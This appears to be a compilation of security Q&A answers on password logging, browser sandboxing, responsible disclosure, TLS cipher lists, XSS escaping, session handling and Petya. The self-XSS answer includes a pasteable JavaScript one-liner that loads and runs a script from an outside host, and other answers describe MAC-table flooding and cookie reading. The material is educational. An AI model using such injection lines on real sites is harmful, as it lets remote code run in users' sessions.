Isn't password storage designed to not un-mask passwords?

I speculated about the ways this could happen on my blog, but the crux of the matter is that your password is received by the server as plaintext.  (Yes, it's in a TLS stream, but that's decrypted before being handed off to the application layer.)  It's very likely that some kind of debug code was accidentally enabled and resulting in logging the HTTP request, an RPC between microservices, or some other form of intermediate product.

It (likely) wasn't "let's log the password" but more like "let's log these serialized JSON requests to backend services" and one of those services happened to be the authentication backend.


What can an attacker do with an exploited program?

I think your question is much broader than you realize, but I'll try to give some sort of answer.

  If you find an exploit in say, Internet Explorer, what would a program utilizing that exploit be able to do?

I don't know, depends on what the exploit is. The most dangerous kind of exploit that an application can have is called arbitrary code execution where an attacker can get the application to execute code that the attacker wrote. Think about this like the attacker is re-writing the code of internet explorer while it's running; they are literally turning IE into malware.

  Would it be able to only change data in Internet Explorer, could it modify anything on disk, or could it modify only files that IE would be able to?

You basically just answered your own question. Yes, the attacker could get IE to do anything that a program is capable of doing - reading / writing files, sending stuff over the internet, making operating system calls (exploiting OS vulnerabilities if there are any), planting other malware and executing it, possibly modifying the registry, etc.

Since browsers are the most visible attack surface on an end-user's computer (it's the application that actually makes contact with malicious web sites), more and more browsers are running themselves in a sandbox so that if something malicious does get in, the damage it can do is minimal. Here's a nice article by How-To-Geek talking about sandboxes for your apps.


What browser plugins (ActiveX, or those for Chrome/Firefox/Safari etc) pose the most risk for your company?

All plugins. :/

With that being said, I don't think you can practically blacklist plugins.  You should really do it on a case by case basis and whitelist them.  That way whenever someone askes for one to be installed, you have a record, and can keep track of them to keep them up to date with the latest patches.


Wireless network solution? WPA2/MAC Filtering problems

You could do the MAC filtering but also separation of LAN to dedicated VLAN so that if someone connects to it wont be able to browse network shares. This kind of functionality is on every normal enterprise switch.
Apart from separating it to dedicated VLAN, you would need to filter out all traffic except for only what is required by scanners. This kind of functionality is also in almost every managed enterprise switch. You could do it also on the router/firewall if you have one.
This way if someone bypasses your MAC filtering, he wont be able to browse local LAN, connect to the internet, or do anything else except for what scanners do, which is very low impact IMO.


javascript:alert("test"); command does not work

javascript: URLs have been used frequently enough in a malicious fashion ("Hey! There's this new cool thing! Go to your Google Mail inbox and copy and paste this into the address bar!") that recent browser releases have taken steps to change the way they work.

In Chrome (tested v20 on OS X), a copy and pasted "javascript:alert(document.cookie)" url has the javascript: portion removed (MSIE 9 reportedly does similar). Manually re-adding it causes it to work as I'd expect, and shows the (available to Javascript) cookies for the page.

In Firefox, as of ~ Firefox 6.x, javascript: (and data:) urls no longer inherit the security context of the document in the current tab.

See Mozilla Bug 656433 - Disallow javascript: and data: URLs entered into the location bar from inheriting the principal of the currently-loaded page  for more background and some debate.

Some alternatives to javascript: URLs:

Browser tools such as the built-in Firefox "Web Console" or
"Scratchpad" can be used to inspect and execute Javascript in the
context of the current document.
Firebug is a wonderful browser plugin that offers Javascript
inspection/execution and more.
In Chrome, the Developer Tools and Javascript Console can be very
useful.


Cell phone cloning and applications that use internet

SMS and call logs use the cell network's messaging channels to send traffic. That uses the IMEI to address where the messages should go. That's why a cloned IMEI can receive duplicates.

Internet traffic uses the data channel and leverages TCP/IP. This cannot be cloned with just the IMEI.


Is there security in the 1-wire protocol?

The 1-wire protocol does not have any built-in security at all. But it shouldn't have any either, since the 1-wire protocol is on the layer 2 of the OSI model.

However, depending on the devices you hook up on 1-wire, there is possibility to add security. There are 1-wire chips that can do encryption and/or authentication without problems, for example as pointed out in comments about the DS1961S chip.
And this is something that is then done on the application layer (layer 7) of the 1-wire network.

A 1-wire network can be compared with the "ethernet protocol" or "RS232 protocol", or even "433,92 Mhz wireless", or IR communication between a TV remote and TV set. Its just a transmission medium for sending payloads. The payload can of course contain more advanced packets, for example IPv4/IPv6 packets if you want. One example of routing IPv4/IPv6 packets over RS232 is PPP protocol (Point to Point Protocol), where PPP protocol is a protcol that contains built-in security (but nowadays very bad security).

So in short: 1-wire is as secure as you make it.


PHP null byte include failing explation seeked

Null Byte Poisoning is pretty old vulnerability, which has been already fixed since 5.3.4 PHP-version.
Release Announcement:

Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

If you are sure, that your PHP-version is correct, please try to inject some remote resource without NULL-byte character in path, to check, if allow_url_* are set correct in php.ini.


Where to report egregious credit card and phone esn data leak

First of all:

you do not report this to the government/external party/visa/mastercard

External parties serve to complicate matters via conflict of interest. It is not their business, it is the business of the company who has the vulnerable api. It is not for them to decide how to handle this, but the company.

Tell no one in your circle of friends, family or anyone about the details.

Here you can get yourself into trouble very easily. If it is discovered later that someone you knew used or attempted to use the information, you could be held accountable for reckless action, or at the very least investigated heavily. Don't put yourself in this position and tell no one anything that would allow them to repeat the vulnerability.

Don't panic

The best thing you can do right now is calmly make a plan and execute it. Anyone who is in the position to exploit this likely already knows about it. Anyone who is not is likely not going to discover this within the next few days.

Now, on to: Responsible Disclosure

Step 1 - Prepare

Before anything we need to make sure that the vulnerable API is well documented and has a set of instructions. For example, a small report, doesn't have to be long, just easy to follow. The idea is, the intern within the office should be able to follow the steps, reproduce the vulnerability and successfully identify the security risks. A small PDF or WORD document will do, just make sure you have something ready in case things move quickly.

Step 2 - First Contact

Next comes first contact with the company. First contact is a delicate thing. On the one hand you would expect that the company has the interest of their customers as a first priority. On the other hand some companies respond rather poorly (and in my opinion, irresponsibly) to people disclosing vulnerabilities for the benefit of everyone involved. For this reason you want to withhold the exact details until an agreement is made that no action will be taken against you.

Me, I'm the paranoid sort, and when I encounter this sort of thing ill go to a coffee shop, use TOR and use an email (one I've set up by using a similar process) to initiate first contact. It is however up to you what level of anonymity you wish to use.

Some things you can check. If the company has a bug bounty, or has a disclosure policy. You should be fine. You can call the company and ask if they have a department responsible for security disclosures. Most companies of this size have an security@company.com email. All of these would have information that would lead you to exactly where first contact should be made.

Step 3 - Processing

Once you are talking to the right person, it should work itself out from there, except as I've previously noted, if there is no bugbounty or disclosure policy make sure you get them to agree to a terms of disclosure that involves your safety first. At some point you will hand them the document you made in step 1.

Step 4 - Closure

The last step to do is public disclosure. This step is entirely optional, and will be heavily tied into the agreed upon disclosure terms in step 3. But usually both parties agree to an amount of time that the company has to fix this vulnerability before a public announcement can be made. It's entirely normal for the researcher to desire to post it on their blog, or use it as reference material for other projects or qualifications. This time period makes sure that the company is not put under undue pressure and gives them time to act.

Congratulations, you just had your first responsible disclosure. You may choose to not announce it ever, and that's fine. In that case the time period from step 3 would be, for you, when you can safely tell friends and family exact details.

I wish I could give rep for desiring to disclose responsibly, alas, in stead I'll wish you the best of luck. Try to be discreet, keep yourself safe, and try to work with them. Good Luck.


Would this idea for a password be secure?

One password is strong.  But where it would fail spectacularly is if the hacker cross referenced your user ID between two different hacked sites.

Site           UserID               Password
-------------  -------------------  ------------
Adobe          user34311@gmail.com  fWi3$aLjado1
Sony           user34311@gmail.com  fWi3$aLjson1

The similarities suggest a simple test.  Use google to find a user34311 somewhere on the web:

stackexchange  user34311@gmail.com  fWi3$aLjsta1

And the success leads to aiming for a payout:

Citibank       user34311@gmail.com  fWi3$aLjcit1
Chase          user34311@gmail.com  fWi3$aLjcha1
Wells Fargo    user34311@gmail.com  fWi3$aLjwel1


I think it depends on how you define "username".
Usually a username is something that is derived from the name of the user.
So it is guessable.

A username is often displayed in the Application at some kind of user preferences. So the username is visable.

Then a username is sometimes used to reset a password, and thus the username might be sent over the wire - maybe via smtp. So the username can be fetched from the traffic.

Sometimes users need to communicate to each other - so the username becomes a public data.

However, if you think of some kind of authorization token as a username, you could very well take a 100 characters long "string" to authenticate. But do not think of that as a "username"!


Can one get infected through visiting a site with a PHP script on it and if yes, how?

PHP runs on the server; it is code which ultimately produces a Web page to be returned to the client. From the client point of view, only the received bytes matter, not how they were computed on the server; it makes no difference whatsoever to the client if the Web page was dynamically generated with PHP or Java or whatever, or if it was the contents of a statically served file.

So there is no specific "PHP powered" client infection which can take place, and which would not have been equally infectious if done server-side with any other technology.

Of course, mere rational thinking should not prevent anybody from laying blame. When the Black Death scourged Europe in medieval times, it was (probably) due to a pathogen agent relayed by fleas who were carried by rats; so the rats were not really responsible, being at worst second-level indirect accomplices. Yet they took the full force of the blame.

Similarly, while PHP is by no means responsible for client infection, incautiously written PHP server code can make servers vulnerable to hostile takeover, which can result in turning them into vectors of infection for clients (using one of the myriad security holes in client browsers). So it is possible to say, with only the minutest dose of unfairness, that PHP can be considered somewhat harmful to clients.


How to pass cipher list to OpenSSL s_client

As Steffen Ullrich has mentioned, you can pass a list of ciphers to the -cipher option of s_client. This is not a single item, but a specification and can also be used for the nginx ssl_ciphers option, or the Apache SSLCipherSuite option.

You can pass multiple ciphers using a space, comma or colon separator. Example:

openssl s_client -cipher ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES256-GCM-SHA384 \
    -connect example.com:443

The above list specifies two specific ciphers. A group of ciphers can also be passed. Here is an example of a cipher list specification that requires authenticated empheral ECDH key agreement (ECDH), RSA for authentication and only cipher suites that are considered of "high" encryption:

openssl s_client -cipher ECDH+aRSA+HIGH -connect example.com:443

What does this expand to? The openssl ciphers command can be used for this purpose:

$ openssl ciphers ECDH+aRSA+HIGH
ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA

or more verbosely:

$ openssl ciphers -v ECDH+aRSA+HIGH
ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256
ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
ECDHE-RSA-DES-CBC3-SHA  SSLv3 Kx=ECDH     Au=RSA  Enc=3DES(168) Mac=SHA1

For more information, read the ciphers manual page.


Creating username policies and best practices

My opinion: If your security is well-designed, you don't need a policy about usernames.  You don't need to try to prevent attackers from guessing usernames if you've done the rest of your security right, because it won't do the bad guys any good to be able to guess usernames if they can't (e.g.,)  guess the corresponding password.

You might want to put some limits on what usernames your users can choose, to make sure that a random user does not create a username that implies some official position at your company.  For instance, you might want to prevent ordinary users from selecting a username like root or admin or abuse or webmaster or spam or help, just to prevent other users from being confused by them.


What happens if a (google authenticator) one time password QR code is leaked?

The QR code remains valid and usable; nothing will make it stop working. This actually makes it very dangerous to leak the QR code. If an attacker sees it, even years after you use it the first time, they can set up their own TOTP (Authenticator) app to use your code, and it will generate the same tokens yours does, which can potentially help the attacker hijack whatever account the TOTP code is protecting. If it's something sensitive, you should generate a new code (this can usually be done by turning 2-factor auth off, and then on again). Then, even if anybody got the old code, it won't do them any good.


Can visiting a malicious website infect an iOS or Android device?

What day of the week is it?

In theory, no. Merely visiting a site will not infect you.

But as they say, the difference between Theory and Practice is that in Theory there is no difference.

I practice, defects in the implementations of some components of the browser are found (sometimes in Javascript, sometimes in Java, sometimes in PDF renderers, sometimes even in font rendering) that permit malicious code (or data, because it's sometimes hard to tell the difference) on a malicious website to infect even passersby. This is called a "drive-by" attack.

But that's a serious breach in security, and such defects tend to get patched very quickly.

If you visit a website on a day after the malefactors have written code to exploit such a defect but before the day your browser gets patched, then yes, you can get infected. The day before the malicious code is placed on the website, or the day after your browser is patched, you're safe.

Like I said: what day of the week is it?


Is it safe to keep passwords in an Evernote note?

No.  Evernote's own description of their encryption indicates that they use 64-bit RC4.  64-bits is way too short, and RC4 is generally considered broken.

Encryption aside, I've never gotten the impression that Evernote was design around high security, so I'd avoid using it for highly sensitive data like passwords.  Consider tools designed for storing passwords like Keepass or LastPass.  They may still have weaknesses, but at least their engineers are designing with password storage in mind.


For what I know there is no software way to compromise your computer from this SD card as far as you are up to date and you didn't enable old settings like autorun, ...
But because 0 day are always possible, it could be better to read it from a Linux USB Live considering that a malicious person would probably target windows software.
Then using the GPS data of the exif is a good way to find the owner.
But, it could still exist a hardware risk:  the SD card can be recognized as a keyboard and could execute commands and other creepy scenarios.
Using a dedicated machine not connected to your home network will be safer. It has to be a machine where you do not perform your daily tasks : browsing, emailing, netflixing, ...
I agree that the safest way is to give it to the lost and found of the airport.


Rate Limiting your API endpoint is a good start. However it can be easly bypassed by using proxies or tor sockets for example. What I'd suggest you is to implement a mechanism that validates the request. HMAC https://en.wikipedia.org/wiki/HMAC is a common cryptography authentication protocol that uses shared secret aswell as hashing algorithm. It obviously has some downfalls. Shared secret can be found in a process of reverse engineering your mobile application, thus you should also do proper code obfuscation. It provides extra layers of security and increases attack difficulity and cost.


Encrypting text data by replacing characters?

Is that a bad method? YES.
Can this be easily decrypted by spying on the data? YES.
How? Standard cryptographic analysis as been done in wars like WW2 and before.

Essentially what you got is a variation on the Caesar cipher. Simple statistical analysis will quickly identify your 'letters'. and as soon as that is done, its only a matter of getting enough data through the line to be able to do pattern recognition on words (like identifying the vowels and such). Then its a matter of educated guesses of certain words and meaning and viola you have broken the cipher. As been stated over and over again: do not roll your own crypto. Cryptography is really really hard. and even the experts get it wrong (OFTEN)


How to deal with found security issues on third party websites?

You can report it to CERT using this form below. Depending on the vulnerability, CERT will contact the vendor on your behalf:

https://forms.cert.org/VulReport/

Here is a quote from the link above for your reference:

  If you believe you have found a security vulnerability that has not
  been resolved, please complete the following form. As our
  vulnerability disclosure policy explains, we send information
  submitted in vulnerability reports to affected vendors. By default, we
  will share your name with vendors and publicly acknowledge you in
  documents we publish. If you do not want us to share your name or
  publicly acknowledge you, select the appropriate responses in the
  form.

You can also reference the CERT policy for disclosures here:

http://www.cert.org/vulnerability-analysis/vul-disclosure.cfm

If CERT does contact the vendor the vulnerability will be disclosed after 45 days per the first paragraph from the link above:

  Vulnerabilities reported to the CERT/CC will be disclosed to the
  public 45 days after the initial report, regardless of the existence
  or availability of patches or workarounds from affected vendors.


Does it have sense a One-Time Session Cookie?

There was a paper a few years ago called "One-Time cookies:Preventing Session Hijacking Attacks with Stateless Authentication Tokens," but that implementation used X-OTC HTTP extension headers and had a lot of crypto under the hood. What you are seeing sounds like something different, though.

https://smartech.gatech.edu/bitstream/handle/1853/42609/GT-CS-12-02.pdf?sequence=1


As you point out, there are several "classes" of email addresses that sites require, such as:

One-time, or limited-time use where the email address is only used to access the information, but no email is actually sent.
Sites where email is actually sent containing information, but this information is not considered sensitive (eg. social networking)
Sensitive sites (online banking, etc.)

There are as many types of systems in the spectrum that you can think of.  My personal system uses these three categories.  You may also want to separate "sensitive" sites from actual correspondence with family and friends since breaches on their accounts can percolate to your own.  Sensitivity of certain information may warrant their own email accounts.

One-time and limited-use sites use the email address as a login name only.  Therefore use services such as 10minutemail.com to generate email addresses for their use.  As long as you remember the email address name (or allow your browser to remember it), then you will not need the actual contents of the email account.  Or generate a new account each time you need to access information.

Sites which will actually notify you -- and you want to be notified of events -- require an account that you can dedicate to that course.  Create another account which you need not worry about. Make use of additional features, if they exist, such as gmail's "+" modifier to help streamline the process as required.

Sensitive sites are the email addresses you can carefully protect against giving out.

Placing these across several systems can help protect against a full breach.

Creating usernames which are uncommon or "random" can help prevent spammers with malicious intent from getting email to you by broadcast attempts.  That is spammers may send emails to well-known first names, or well-known firstname/lastname combos) at domains to see if anything gets through (bob@example.com or smith.jones@example.com).  As with any security solution, obscurity is not security, but it can provide a veil of darkness that the average malicious user will have trouble penetrating.


Security implications of using long lasting authentication cookies

By limiting the time an authentication cookie is valid you are also limiting the time an attacker has access to an account if he/she manages to steal said cookie (given that there are no other countermeasures in place).

It also limits the amount of time an unauthorized person can access said account on e.g. a shared system in case the victim forgot to logout.

So if there are appropriate countermeasures against session hijacking and similar attacks, longer (unlimited) cookie lifespans should not be a problem.


No, firewall is not subnetwork. The only point is firewall should have on one (or more than one) network interface IP from each subnet. Otherwise will be not possible to serve those subnets
For example if you have networks:

10.1.1.0/25
10.1.1.128/26
10.1.1.192/26

you should assign to firewall (for example)
10.1.1.1, 10.1.1.129 and 10.1.1.192


Can javascript execution from address bar cause any harm to client's machine?

That JavaScript executed from the address bar will run in the context of the website displayed in that tab. This means complete access to that website and it could change how the website looks and behaves from the point of view of the user.

This attack is called self XSS and can cause harm to the user and indirectly to the machine. A reputable website can ask the user to download and install a malicious piece of executable code by pretending, for example, that it needs a Flash update.

To get a nice visual example of this, manually type javascript: in your address bar and then paste this:
z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z); If you don't trust me, do it in the address bar of a website you are not logged in.

Most browsers have realised this vulnerability and attempt to limit the impact by cutting out javascript: when pasting javascript:some_js_code in the address bar. But it is still possible to manually write it and execute it.


My Control Panel and online IP addess tools report different results for my IP address

The first IP address 192.168.1.1 is a local (private) IP address for your computer on your local network.  IP addresses that start with 192.168.x.x, 172.16.x.x - 172.31.x.x, and 10.x.x.x are private addresses to be used for private networks.  This is so large private networks (that aren't hosting services to be accessed by the outside world directly) do not need to be assigned unique IP addresses (as there are only about 4 billion IPv4 addresses).  It would be problematic if two machines doing different functions were assigned the same IP address on the actual internet, but its no problem if you and I both have devices on our local home networks with the address of 192.168.1.1.

The other IP address (starting with 75.92.x.x) is your real IP for the router you are connecting through that was assigned to you by your ISP.  Your home router performs Network Address Translation (NAT) to route packets going to from your computer with a local address to the internet.

For example, let's say you request to see a website at 1.2.3.4 on port 80.  Your computer makes that request from a randomly assigned port that it is not using (say 34567) from 192.168.1.1.  Your computer knows to send network requests to your home's router (there's probably an entry in the routing table saying forward everything that's not 127.0.0.1 to the local router).  The router sees the destination isn't on the home network, so changes the source IP address of the request in the IP layer to its own assigned IP address before forwarding the packet out on the actual internet (NAT may also change the source port, but for this example I'll assume it doesn't).   Then when the response comes back from 1.2.3.4 port 80 to the router to your router's IP address (at the port 34567), your router changes the destination of the IP packet to 192.168.1.1 port 34567 (as your router remembered 192.168.1.1 made the request) and continues to route it to your device on the local network.  So to the outside world you are the address that doesn't start with 192.168.1.1, but on your local network you are 192.168.1.1.

Also, the addresses 192.168.1.1/192.168.0.1 by convention tend to be the address of your actual router in home network scenarios.  Typically, the IP address assigned to each computer on your local network is something like 192.168.1.101.


How often should TLS Session Ticket Keys be rotated?

RFC 4346 is the source of the "daily" recommendation:

  An upper limit of 24 hours is suggested for session ID lifetimes,
  since an attacker who obtains a master_secret may be able to
  impersonate the compromised party until the corresponding session ID
  is retired.

Lacking any better guidance, you're probably fine going with 24 hours.  I'm not aware of any research or experience suggesting that shorter times are necessary or appropriate for current traffic.

You can also go a lot lower.  Session resumption can be a big deal when a client is hammering you with hundreds of connections within a few minutes.  But having to renegotiate once an hour, say, is not onerous to the client or to the server.  You save the CPU hit of constantly renegotiating, but there's a huge gap between "every single connection" and an hour - or 30 minutes - or even 5 minutes in some cases.

To specifically answer your points:

24 hours is the upper limit because it's specified in RFC 4346.  (Obviously, "because it's in the RFC" doesn't reflect real-world pressures).
Within the 24 hour window, only your traffic can guide you.  How often do the same clients reconnect?  Do they take advantage of resumption if available?  How long do their sessions last on average?

Certificate validity periods don't come into it (as 24 hours is far below their concern horizon).  Client session cache times are interesting, but alas, probably not available to you - which goes back to what I said about seeing how often your clients take advantage of resumption when available.

My personal advice - you can play with periods from 1 to 12 hours and you'll probably find they all give you the performance boost you need with diminishing returns (on resumption use) showing up at some point.  Find a way to log resumption and new negotiations and build your case on your own traffics' statistics.


How to hack a switch connected network with static ARP?

The attacker can try to flood the MAC table of the switch, and then the switch could fall down in "hub" mode. Then the switch would send the packets of Alice and Bob on all port. So Eve could sniff their network packets.

Another way to hack is to poison the switch MAC table. If Eve knows the MAC address of Alice and Bob, Eve could tell the switch that he has the MAC address of ALICE and/or BOB, then some of packets or all the packets will be redirected to Eve.


Without a backdoor installed on your machine,  an attacker would not be able to know what software was installed. If 100% of your traffic passes though an encrypted VPN, then it is not possible for an ISP to know what data is being transmitted.  However, protecting the transport layer with a VPN may not conceal the type of protocol used to transmit the data.  Researchers have claimed that it is possible to identify protocols protected by a VPN using statistical analysis, and other reservedness claimed that it is possible to identify encrypted BitTrorrent with information theory.

The only way for an ISP to know that a BitTorrent client was installed is by looking at the traffic it produces.  If at any point the client calls home to check for an update,  an observable condition has been created.  Participating in the BitTorrent Distributed Hash Table,  or visiting well known trackers is also a dead give away.  But even if the data is encrypted, looking at a side-channel,  such as comparing protocol timing signature,  could reveal the use of a P2P protocol.


How does full disk encryption cater for overprovisoned disk space in flash devices and can this result in data leakage?

FDE does not need to know anything about overprovisioning. If the partition is encrypted, no plain-text will ever be written anywhere. Blocks reserved for wear leveling will either have un-initialized random data, or encrypted blocks.

If you are using the encryption provided by the controller, encryption/decryption occurs inside the controller, so no plain text data is written on the blocks. If the encryption is done by the OS, the controller already receives encrypted data.


URLEncode vs HTMLEncode for XSS prevention

Risk assessment. If the URLEncoded data is inserted into HTML context (e.g., between tags), I do not know of any way to introduce a XSS attack.  URLEncode will escape the <, >, and & characters (to %3C, %3E, and %26, respectively).  In modern browsers, I believe this is sufficient to prevent XSS for values inserted between tags.

There are some more obscure cases where attacks might be possible.  If you are introducing untrusted (but URLEncoded) data into other parse contexts, such as a URL (e.g., the HREF attribute of the A tag), into Javascript, or into CSS, then it is possible that XSS attacks may still be possible despite the use URLEncode.  Nonetheless, these contexts are less common, so I suspect they're not what you're talking about.

So, in short, this is unlikely to be vulnerable to XSS (as far as I can see).

Why you shouldn't do it. Nonetheless, as I think you recognize, URLEncode is clearly the wrong solution for this problem.  It escapes data in the wrong way, and will cause the data to be mangled when the user views it in their browser.  Don't use URLEncode; it is the wrong tool for the job.  Instead, use the proper escaping function for the HTML context that you are going to use.

How to do it properly.  See my discussion elsewhere about how to select the proper escaping function, and where to obtain an implementation of that escaping function.  For instance, OWASP ESAPI is a fine library full of HTML escaping functions that can be used to prevent XSS vulnerabilities.


Session Management: Set new value of session ID after privilege change and other sensitive operations

It is important to quote the previous sentences too:

  The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session. The most common scenario where the session ID regeneration is mandatory is during the authentication process, as the privilege level of the user changes from the unauthenticated (or anonymous) state to the authenticated state. Other common scenarios ...

In other words, OWASP is summarizing the case where a user changes what he is authorized to do or what he is authorized with.  I'll give an example of each case:

User changes what he is authorized to do:  A user logging in to a different account (e.g. google "log-in as a different user") must have his current session invalidated before he can login in to the other account.  This important because you are keeping a session open for a limited time (to make it harder to hijack a session).

Now, if one of the accounts the user has credentials to is compromised and the other isn't, the attacker could use the overlapping sessions to execute something as the account that he did not manage to compromise.  Therefore it is important that the previous session is killed (no matter if the previous or new session it the one that is for a compromised account).

As an extra, if an attacker can force a user logged in two accounts switch between them repeatedly, you may fail to count the session time and be vulnerable to fixation.  It is easier (and less error prone) to simply invalidate the session on spot, than trying clever algorithms to keep both sessions alive.  This is less probable, but still a way of increasing attack surface for an attacker.
User changes how he is authorized (actually authenticated, but then authorized):  A user changing the password must have his old session destroyed on the spot because that is what the user expects to happen.  If your session lives for 10 minutes, and a user changes his password he expects than an attacker who he believes has his password cannot access his account anymore.  He does not believe that the attacker can use his account for 10 minutes more.

Note that this is not the same requirement as asking an user to input the old password and the new password on a password change screen.  You should definitely do that, since it prevents an attacker in possession of a session ID from changing the user's password.  But what that quote from OWASP argues is about the destruction of the previous session the moment that the POST request with the password change is received.  So that an attacker in possession of a session ID cannot use the account of that user at the moment when the password is reset.


The cipher an mac algorithms are defined by the cipher suite which gets negotiated during the TLS handshake. The client offers a list of supported cipher suites in the ClientHello and the server accepts a specific one inside the ServerHello. See also section 8 of RFC 5246 (TLS 1.2):

  Cryptographic Computations
  ...  The authentication, encryption, and MAC algorithms are determined by the cipher_suite selected by the  server and revealed in the ServerHello message.

In Appendix C of RFC 5246 you then find some mappings of cipher suite to cipher and mac algorithms:

Cipher Suite                            Key        Cipher         Mac
                                        Exchange

TLS_NULL_WITH_NULL_NULL                 NULL         NULL         NULL
TLS_RSA_WITH_NULL_MD5                   RSA          NULL         MD5
TLS_RSA_WITH_NULL_SHA                   RSA          NULL         SHA
TLS_RSA_WITH_NULL_SHA256                RSA          NULL         SHA256
TLS_RSA_WITH_RC4_128_MD5                RSA          RC4_128      MD5
...


a mysterious & pointless long-term hacking attempt?

It's almost certainly an automated scan of bots looking for low hanging fruits to attack. I would not spend any considerable time investigating it further. Consider something like fail2ban instead, and block gelocation's IP address to rid yourself of the nuisance.

It's probably targeting the .php page more because it's a php and is dynamic content or input (and therefore could allow RCE, SQL injection, PHP command injection, etc) and less because it's Google Maps.


Yes, assuming that you indeed got all the correct values. All you need to do so is the private exponent (d) and the modulus (n).

Let c be a ciphertext and m be a message. This is computed like this:

Here's how the RSA cryptosystem's private key is generated (simplified for your purposes).

Two prime numbers are chosen: p and q
n =pq
We compute Carmichael's totient function of n, lcm(p-1, q-1), let's call the value that we obtain C
We choose an integer e such that 1< e < C and such that e and C are coprime.
We find d = e^-1 (mod C). d is the modular multiplicative inverse of e modulo C

Now, the public key is composed of the pair (e, n). The private key is composed of the pair (d, n). e is the "public exponent" and d is the "private exponent."


Should a SAML Assertion whose SessionNotOnOrAfter value is exactly the same value as its AuthnInstant be treated as having an invalid session?

It's a misconfiguration on the partner's part.

And yes, it should absolutely fail validation. For two reasons:

SessionNotOnOrAfter being equal to AuthInstant means that it is expired the instant the token is minted.
When comparing SessionNotOnOrAfter to your system's time, since it's already expired, there's no way that has changed - the token is expired.


Should we keep our penetration testing environment separate from other test infrastructure?

This really depends on the type of pentesting you're going to do.  Are you trying to identify the vulnerabilities from attacks coming from a machine in the same LAN?  Then you put the pentesting host on the same LAN.  Do you want to see if your public-facing webserver is secure vis à vis of external attackers?  Then do a pentest from the Internet.  And so on.

In general, you should do a pentest in the most typical situation.  If the scans trigger tripwires in any part of your network, that's an important information as you'll know that the IDS is working properly.


Can Poodle be fixed in SSLv3 or will it go the way of TLS compression?

There have been some discussions about mitigating issues with some record splitting. Namely, what makes Poodle efficient is that padding may use up to a full block (8 bytes with 3DES or RC2, 16 bytes with AES). When this happens, only the last byte of the block is checked by the recipient, which is why the alteration from the attacker gets through with probability 1/256. Thus, if you can arrange for that padding situation never to happen, then you can reduce the success probability of the attacker.

The idea is then, when a record is to be encrypted and would lead to a final block with too much random padding and too few non-ignored bytes, to split the data into two records, whose individual lengths will induce last blocks with sufficiently few ignored padding bytes.

This "fix" is discussed there (see in particular comment 13). Attacker's success drops from 1/256 to 1/281474976710656. However, this only applies to Poodle as it was described; and it is known that record splitting, though "legal" from the standard point of view, may break old, buggy, legacy implementations.

TLS_FALLBACK_SCSV dos not fix SSL 3.0; it fixes protocol downgrade attacks. It ensures that if the client and server both know TLS 1.0+, then they won't be forced to use SSL 3.0. However, if the client or the server knows only SSL 3.0, then the communication will use SSL 3.0, and Poodle attacks may apply. This is unavoidable: if the server knows only SSL 3.0, then the choice is between using a Poodle-vulnerable protocol, or not communicating at all.

A number of people have expressed that they would prefer the latter. Rather than tolerating SSL 3.0 with either TLS_FALLBACK_SCSV or some record splitting, just let it die. It will have to happen at some point; the general concern triggered by a vulnerability may be a good occasion for that.


Fail2Ban keeps sending me logs of user banned, is someone trying to hack me?

Get used to it.

If you've disabled root logins and are running fail2ban, you've already taken some sensible precautions. Personally, I always restrict access to a specific group of users and disable password authentication.

Manually adding blocks to the firewall for every host which tries to brute force your sshd is not a viable strategy.


Yes, for sure:  WebRTC    relies on JavaScript that can leak your actual IP address even from behind your VPN.

The members involved in the peer-to-peer communication using this protocol can not see each other's IP but there are two cases where this is possible: you as te owner of the web application, and an attacker who compromises your website.

There are alternatives for using WebRTC and preventing, in the same time, such leaks. For exampple Google Chrome offers WebRTC Leak Prevent extension for this purpose.


Is steganography a part of "cryptography"?

Steganography, first coined in 1499, does not technically require the use of a cipher or any calculations even though we primarily read about it now in the digital world.

https://en.wikipedia.org/wiki/Steganography

In his 1499 book Steganographia Johannes Trithemius discussed Steganography's advantage over cryptography and by doing so I would say his intent was to clearly differentiate it from the field of Cryptography.

https://en.wikipedia.org/wiki/Johannes_Trithemius#Steganographia

I do think this is one of those topics that goes back and forth fairly often but the general consensus I've seen is that Steganography is not part of cryptography and that it is uniquely separate.

Finally it does appear that Steganography may also be legal in countries which otherwise outlaw encryption.

Personally I would say both are used for forms of secure communications but are clearly different techniques.

BTW: It appears there is a copy of his original book on-line at the following URL

http://www.esotericarchives.com/tritheim/stegano.htm


Is there a book about secure system design?

If you're looking for non-language/framework specific stuff, you could start with a pair of books on security engineering

Security Engineering by Ross Anderson
Engineering Security by Peter Gutmann

Usefully both are available for free online.

If you're looking for more platform specific stuff, if you haven't already I'd recommend looking through Microsofts SDL Documentation


Why does a perfc file cure/kill Petya ransomware (is it a bug or a deliberate decision of the creators)?

It doesn't stop the infection as such, what it seems to do if Petya detects (as it looks like it searches for it) perfc.dat is stop it from running the file scrambling portion of the code on your machine. So while you still have access to your machine and all your data you are still infected.

So what does Petya do if perf.dat is detected, if not the file scrambling? What it does is use your computer as a foothold into a network to continue spreading internally (not externally, unlike WannaCry).

From what I found while researching this answer, the only thing the perfc.dat 'vaccine' stops is the file scrambling, I believe (In that I couldn't find any source that said otherwise) that it still attempts to lift credentials from RAM to allow it to gain admin access, and travel further through a network.

